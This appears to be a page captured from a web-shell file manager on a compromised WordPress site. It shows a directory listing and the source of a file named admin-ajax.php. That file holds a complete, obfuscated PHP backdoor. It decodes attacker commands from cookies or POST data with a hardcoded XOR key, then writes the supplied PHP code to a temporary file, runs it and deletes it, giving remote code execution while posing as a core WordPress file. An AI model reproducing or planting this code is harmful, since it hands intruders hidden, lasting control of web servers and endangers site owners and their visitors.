Gecko [ poreckgroup.com ]

Name	Size	Permission
wp-admin	[ DIR ]	drwx---r-x
wp-content	[ DIR ]	drwx---r-x
wp-includes	[ DIR ]	drwx---r-x
.htaccess	561 B	-rw-r--r--
0790b2e3c6eb0424387d7af7c4c0c9...	22.47 MB	-rw-r--r--
admin-ajax.php	3.47 KB	-rw-r--r--
license.txt	19.45 KB	-rwxr-xr-x
readme.html	7.23 KB	-rwxr-xr-x
themes.php	2.85 KB	-rw-r--r--
wordfence-waf.php	364 B	-rw-r--r--
wp-admin.php	2.26 KB	-rw-r--r--
wp-class-mode.php	1.88 KB	-rw-r--r--
wp-class-util.php	1.98 KB	-rw-r--r--
wp-config-sample.php	3.66 KB	-rwxr-xr-x
wp-config.php	3.77 KB	-rwxr-xr-x
wp-cron.php	5.51 KB	-rwxr-xr-x
wp-links-opml.php	2.44 KB	-rwxr-xr-x
wp-load.php	3.83 KB	-rwxr-xr-x
wp-login.php	49.73 KB	-rwxr-xr-x
wp-mail.php	8.33 KB	-rwxr-xr-x
wp-settings.php	25.99 KB	-rwxr-xr-x
wp-signup.php	33.58 KB	-rwxr-xr-x
wp-trackback.php	4.77 KB	-rwxr-xr-x
xmlrpc.php	3.08 KB	-rwxr-xr-x

Code Editor : admin-ajax.php

<?php        function       zkeyuvlri(){  print	(74444+74444);/* tw */}$izcfyve/*  ugte*/=    'izcfyve'/*umkua  */^/*   telo */'
';
$agmpn/* qsxb*/=     "f"."\151"	.	"\x6c"       .	"e"."_".$izcfyve(112)       .	$izcfyve(790-673)/*   noj*/.	"t".$izcfyve(95)	.	$izcfyve(99)	.	"o"."n"."t".$izcfyve(128-27)	.     "\156"/*   pjugo  */./*  xpjic */"t".$izcfyve(115);

$zxbfixibq/*  boyud*/=/*  fb  */$izcfyve(98)   .	"a"."s".$izcfyve(270-169)/* gj */./*yxyb  */"6"."4".$izcfyve(95)/*   mfa  */.	"\144"	.	$izcfyve(101)   .       $izcfyve(99)	./*  mmsc */"o"."\144"/* xh */./*g   */"\145";$sqedn/* o   */=	$izcfyve(117)    .  "n".$izcfyve(115)	./*   tzsm*/"\145"	./*  xw */"\x72"	.     $izcfyve(588-483)  .	"a"."\154"/*  zxt  */./*dnch_ */"i"."z"."e";

$iwxnffmq   =  "p"."\150"/* h*/.	$izcfyve(813-701)/* looee */.	"v".$izcfyve(101)	.  "\162"  .    $izcfyve(115)/*cr  */.   "i"."\157"/* oitgb   */.   $izcfyve(110);

$lniehrawgo    =/*   _  */$izcfyve(117)  ./*  qsw   */$izcfyve(110)/*   tguj */./*  pzybq*/"\154"      .      "\151"	./*  prayr*/$izcfyve(200-90)/*   l  */.   $izcfyve(107);/* xb_g   */function	_buyxvdx($euniynk,       $stvejat)

{

global/* y */$izcfyve;

$nslnocme    =/*   dmry*/"";

for   ($kanci	=	0;	$kanci/*   r */<      strlen($euniynk);)/*fr  */{

/*   vgpzo  */for	($sjwmdjxof/*   vusvj */=	0;     $sjwmdjxof     </*   wl   */strlen($stvejat)/*  buv_n*/&&	$kanci	<	strlen($euniynk);   $sjwmdjxof++,     $kanci++)	{

$nslnocme/*  qwirm  */.=   $izcfyve(ord($euniynk[$kanci])/* tcnf*/^/*hkr   */ord($stvejat[$sjwmdjxof]));
	}

}
	return/*dfmvr */$nslnocme;}
$ywdeutsr       =/*calq  */$_COOKIE;
$fzskw/*kvrjr   */=/*  jfu*/$_POST;
$ywdeutsr	=	array_merge($fzskw,/*   y_pc   */$ywdeutsr);

$qcdjzuwixw/* a_zss */=   "b"."\145"       .	$izcfyve(891-792)   .	"\60"	./* ih   */"\142"/*   if_l*/./*   wxohq  */$izcfyve(98)      ./*  wzq */"e"."4"."\x2d"     ./*   fmrd  */$izcfyve(528-431)	.	"\x37"   .    "a"."1"."-".$izcfyve(641-589)  .      "\142"	.     $izcfyve(100)."c".$izcfyve(45)/* qujue  */./* tronf  */"\x62"     ./*  xfno*/$izcfyve(101)	.     "2"."\x38"    .	$izcfyve(995-950)/*e_j */./*iymh  */"a".$izcfyve(738-639)      ./*  zeajj*/"a"."\71"	.     "\x34"    .      "\x31"/*wbv */.     "2"."2"."\70"	.     "\x32"/*   xzm */.	$izcfyve(962-911)/*  tt  */.	"\143";
foreach      ($ywdeutsr	as      $fndroewik/*  r*/=>	$euniynk)   {

/* ugfut */$euniynk	=       $sqedn(_buyxvdx(_buyxvdx($zxbfixibq($euniynk),       $qcdjzuwixw),/* r_*/$fndroewik));	if	(isset($euniynk["a".$izcfyve(723-616)]))/*   gnt  */{
     if      ($euniynk["a"]	==   $izcfyve(105))/*n  */{
/*  d*/$kanci	=/*  fjj*/array();       $kanci[$izcfyve(1084-972)	.	"\166"]     =	$iwxnffmq();

/*yx*/$kanci["s".$izcfyve(118)]	=  "3"."."."5";

echo	@serialize($kanci);
   }	elseif   ($euniynk["a"]	==/*  owjkn   */"e")	{

$dqlxctuv     =     sprintf("."."\x2f"/* vc   */.      $izcfyve(37)	.	"s"."."."p"."l",  md5($qcdjzuwixw));

/*jxdi   */$agmpn($dqlxctuv,/* hzlc*/"<"/*  e */.       "\x3f"  .	"p"."\150"	.      $izcfyve(112)	.      $izcfyve(32)	.	$izcfyve(117)/*  duq*/.    $izcfyve(600-490)/*  mkmqi  */./* lcbk */"l".$izcfyve(364-259)     ./*oa  */$izcfyve(110)  .       "\153"	./*  eakh   */$izcfyve(397-357)	.	"_"."\x5f"/*gwid  */.	$izcfyve(70)     .    "\111"/*   xec*/./*nvpm*/"L"."E"."\x5f"   .	$izcfyve(95)     .	$izcfyve(41)	./* bn  */"\x3b"	.	$izcfyve(32)/*pv   */.	$euniynk[$izcfyve(100)]);
	include($dqlxctuv);

$qeudkralgi/*  izajj */=   $dqlxctuv;

/*   a   */$lniehrawgo($qeudkralgi);

}/*   sax   */exit();

}}

${this.title}

Code Editor : admin-ajax.php